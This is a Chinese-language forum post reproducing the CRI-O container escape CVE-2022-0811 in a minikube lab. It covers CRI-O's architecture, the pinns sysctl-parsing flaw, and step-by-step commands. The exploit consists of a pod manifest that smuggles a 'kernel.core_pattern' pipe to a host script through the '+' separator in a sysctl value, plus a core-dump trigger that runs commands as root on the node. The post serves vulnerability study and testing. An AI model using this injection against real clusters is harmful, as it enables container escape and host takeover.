-
-
[原创]Kubernetes CRI-O引擎逃逸CVE-2022-0811漏洞复现
-
发表于:
2022-3-22 12:17
870
-
[原创]Kubernetes CRI-O引擎逃逸CVE-2022-0811漏洞复现
一、前言
1、CRI-O
当容器运行时(Container Runtime)的标准被提出以后,Red Hat 的一些人开始想他们可以构建一个更简单的运行时,而且这个运行时仅仅为 Kubernetes 所用。这样就有了 skunkworks
项目,最后定名为 CRI-O
, 它实现了一个最小的 CRI 接口。在 2017 Kubecon Austin 的一个演讲中, Walsh 解释说, ”CRI-O 被设计为比其他的方案都要小,遵从 Unix 只做一件事并把它做好的设计哲学,实现组件重用“。
根据 Red Hat 的 CRI-O 开发者 Mrunal Patel 在研究里面说的, 最开始 Red Hat 在 2016 年底为它的 OpenShift 平台启动了这个项目,同时项目也得到了 Intel
和 SUSE
的支持。CRI-O 与 CRI
规范兼容,并且与 OCI
和 Docker 镜像的格式也兼容。它也支持校验镜像的 GPG 签名。 它使用容器网络接口 Container Network Interface(CNI)处理网络,以便任何兼容 CNI 的网络插件可与该项目一起使用,OpenShift 也用它来做软件定义存储层。 它支持多个 CoW 文件系统,比如常见的 overlay,aufs,也支持不太常见的 Btrfs。
CRI-O 允许你直接从 Kubernetes 运行容器,而不需要任何不必要的代码或工具。只要容器符合 OCI 标准,CRI-O 就可以运行它,去除外来的工具,并让容器做其擅长的事情:加速你的新一代原生云程序。
2、CRI-O的原理与架构
CRI-O 最出名的特点是它支持“受信容器”和“非受信容器”的混合工作负载。比如,CRI-O 可以使用 Clear Containers 做强隔离,这样在多租户配置或者运行非信任代码时很有用。这个功能如何集成进 Kubernetes现在还不太清楚,Kubernetes 现在认为所有的后端都是一样的。
当 Kubernetes 需要运行容器时,它会与 CRI-O 进行通信,CRI-O 守护程序与 runc
(或另一个符合 OCI 标准的运行时)一起启动容器。当 Kubernetes 需要停止容器时,CRI-O 会来处理,它只是在幕后管理 Linux 容器,以便用户不需要担心这个关键的容器编排。
CRI-O 有一个有趣的架构(见下图),它重用了很多基础组件,下面我们来看一下各个组件的功能及工作流程。
- Kubernetes 通知
kubelet
启动一个 pod。
- kubelet 通过
CRI
(Container runtime interface) 将请求转发给 CRI-O daemon
。
- CRI-O 利用
containers/image
库从镜像仓库拉取镜像。
- 下载好的镜像被解压到容器的根文件系统中,并通过
containers/storage
库存储到 COW 文件系统中。
- 在为容器创建
rootfs
之后,CRI-O 通过 oci-runtime-tool 生成一个 OCI 运行时规范 json 文件,描述如何使用 OCI Generate tools 运行容器。
- 然后 CRI-O 使用规范启动一个兼容 CRI 的运行时来运行容器进程。默认的运行时是
runc
。
- 每个容器都由一个独立的
conmon
进程监控,conmon 为容器中 pid 为 1 的进程提供一个 pty
。同时它还负责处理容器的日志记录并记录容器进程的退出代码。
- 网络是通过 CNI 接口设置的,所以任何 CNI 插件都可以与 CRI-O 一起使用。
3、漏洞原因
来自:https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/
从这个commit开始,CRI-O用Pinns给Pod设置内核参数,Pinns最常见的调用方式如下
1 2 | pinns - s kernel_parameter1 = value1 + kernel_parameter2 = value2
|
所以恶意用户可以使用+
或者=
字符传入sysctl值,从而通过pinns设置额外的内核设置
4、漏洞影响
判断是否受到影响:run crio —version
二、环境搭建
- MacOs Montery 12.3
- minikube 1.25.2
1、安装minikube
1 2 3 4 5 6 7 | brew install minikube
curl - LO https: / / storage.googleapis.com / minikube / releases / latest / minikube - linux - amd64
sudo install minikube - linux - amd64 / usr / local / bin / minikube
https: / / minikube.sigs.k8s.io / docs / start /
|
2、安装 docker-amchine-driver-vmware
1 | brew install docker - machine - driver - vmware
|
3、启动环境
1 | minikube start - - kubernetes - version = v1. 23.3 - - driver = vmware - - container - runtime = crio
|
随后查看node 一定要是Ready
三、复现
1、创建pod
1 2 3 4 5 6 7 8 9 | apiVersion: v1
kind: Pod
metadata:
name: malicious - script - host
spec:
containers:
- name: alpine
image: alpine:latest
command: [ "tail" , "-f" , "/dev/null" ]
|
1 | kubectl create - f malicious - script - host.yaml
|
2、查看挂载路径
1 2 | kubectl exec - it malicious - script - host - - / bin / sh
mount
|
我们获取其中的upperdir就是从内核角度到容器根目录的路径
2.1、Tips
在创建环境的时候我们的启动命令如下
1 | minikube start - - kubernetes - version = v1. 23.3 - - driver = vmware - - container - runtime = crio
|
但是在Ubuntu虚拟机中,我们的启动命令如下
1 | minikube start - - kubernetes - version = v1. 23.3 - - driver = docker - - container - runtime = crio
|
这里的--driver·docker,那么此时我们进入到pods中,使用mount,就不会有/var/lib/containers/storage/overlay/
这个路径,而是/var/lib/docker/overlay2/
这里并不知道具体的原因,只是在尝试后的发现,所以如果出现这种情况,换成Vmware Driver即可
注意:在Linux下是没有Vmware Driver的,所以只能是MacOs,或者Windows,当然如果有更好的,欢迎交流,自己搭建环境也可以
1 2 | overlay on / type overlay (rw,relatime,lowerdir = / var / lib / docker / overlay2 / l / Q6DVAGGZCHBCIYVTIEDWFQTQ7I: / var / lib / docker / overlay2 / l / LLWQRNQIVYIMZP6W6MTAWNUGQE,upperdir = / var / lib / docker / overlay2 / bfe14988c94b78ebaece2c0403e7241bc70780a129aadb9777e0fb624f8205c7 / diff,workdir = / var / lib / docker / overlay2 / bfe14988c94b78ebaece2c0403e7241bc70780a129aadb9777e0fb624f8205c7 / work)
|
3、创建一个恶意脚本来调用内核转储
1 2 3 4 | date >> / var / lib / containers / storage / overlay / 6a2b5a734f73272b9ad1e48e74b0e0542e0a93d70f820f173bc25ea3d3c8268b / diff / output
whoami >> / var / lib / containers / storage / overlay / 6a2b5a734f73272b9ad1e48e74b0e0542e0a93d70f820f173bc25ea3d3c8268b / diff / output
hostname >> / var / lib / containers / storage / overlay / 6a2b5a734f73272b9ad1e48e74b0e0542e0a93d70f820f173bc25ea3d3c8268b / diff / output
|
一定要给上权限这里建议直接
再创建一个ouput文本放在根目录即可
4、使用第二个POD指向恶意脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 | apiVersion: v1
kind: Pod
metadata:
name: sysctl - set
spec:
securityContext:
sysctls:
- name: kernel.shm_rmid_forced
value: "1+kernel.core_pattern=|/var/lib/containers/storage/overlay/6a2b5a734f73272b9ad1e48e74b0e0542e0a93d70f820f173bc25ea3d3c8268b/diff/UzJu.sh #"
containers:
- name: alpine
image: alpine:latest
command: [ "tail" , "-f" , "/dev/null" ]
|
创建pod
1 | kubectl create - f . / sysctl - set .yaml
|
这里创建之后并不会显示Running运行
5、触发漏洞
1 | kubectl exec - it malicious - script - host - - / bin / sh
|
1 2 3 4 5 6 7 8 9 10 11 12 13 | /
/
unlimited
/
/
PID USER TIME COMMAND
1 root 0 : 00 tail - f / dev / null
27 root 0 : 00 / bin / sh
28 root 0 : 00 tail - f / dev / null
35 root 0 : 00 ps
/
/
[ 1 ] + Segmentation fault (core dumped) tail - f / dev / null
|
随后我们再查看output就可以发现,成功执行了我们想要的命令
也就是写在UzJu.sh中的
四、参考
https://blog.csdn.net/ccy19910925/article/details/118386726
https://zhuanlan.zhihu.com/p/334766611
https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/
https://linux.cn/article-9015-1.html
- https://blog.csdn.net/ccy19910925/article/details/118386726
- https://medium.com/cri-o/cri-o-support-for-kubernetes-4934830eb98e
- https://blog.aquasec.com/cve-2022-0811-cri-o-vulnerability
- https://twitter.com/search?q=CVE-2022-0811&src=typed_query
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课